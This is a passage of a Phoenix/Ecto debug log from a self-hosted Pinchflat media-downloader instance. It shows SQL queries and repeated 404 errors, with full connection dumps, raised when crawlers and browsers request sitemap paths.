"tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 02:50:19.003 [debug] QUERY OK source="sources" db=0.1ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:50:19.003 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:50:19.004 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:50:19.004 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 02:50:19.005 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 02:50:19.006 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:50:19.006 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 02:50:19.007 [info] Sent 200 in 7ms 02:50:23.398 [info] GET /sitemap.xml 02:50:23.399 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=673.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:23.400 [debug] QUERY OK source="settings" db=0.2ms idle=673.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:23.400 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:23.400 [error] #PID<0.3698.0> running PinchflatWeb.Endpoint (connection #PID<0.3694.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fd867811b31d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "brav-ewolf9758.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3698.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fd867811b31d-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "brav-ewolf9758.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "104.22.1.48"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnGs3WadXtisUAAV0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fd867811b31d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "brav-ewolf9758.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fd867811b31d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "brav-ewolf9758.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: (truncated) 02:50:25.398 [info] GET /sitemap_index.xml 02:50:25.399 [debug] QUERY OK source="settings" db=0.1ms idle=673.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:25.399 [debug] QUERY OK source="settings" db=0.1ms idle=673.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:25.399 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:25.399 [error] #PID<0.3699.0> running PinchflatWeb.Endpoint (connection #PID<0.3694.0>, stream id 5) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /sitemap_index.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap_index.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fd92df55dd24-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "wgzm0aa1ab65wkv0.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "172.71.30.220", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3699.0>, params: %{}, path_info: ["sitemap_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fd92df55dd24-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "wgzm0aa1ab65wkv0.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "172.71.30.220"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap_index.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnG0USDdWUV7cAAV1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap_index.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fd92df55dd24-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "wgzm0aa1ab65wkv0.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "172.71.30.220", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap_index.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fd92df55dd24-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "wgzm0aa1ab65wkv0.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "172.71.30.220", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", met (truncated) 02:50:27.398 [info] GET /sitemap-index.xml 02:50:27.399 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=672.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:27.399 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=673.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:27.400 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:27.400 [error] #PID<0.3700.0> running PinchflatWeb.Endpoint (connection #PID<0.3694.0>, stream id 6) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /sitemap-index.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap-index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap-index.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fd9f1fbec243-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "fetya62b1cdduwzy.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3700.0>, params: %{}, path_info: ["sitemap-index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fd9f1fbec243-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "fetya62b1cdduwzy.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "104.22.56.192"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap-index.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnG7w9bmdDYDQAAV2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap-index.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fd9f1fbec243-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "fetya62b1cdduwzy.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap-index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3694.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap-index.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 39916}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => 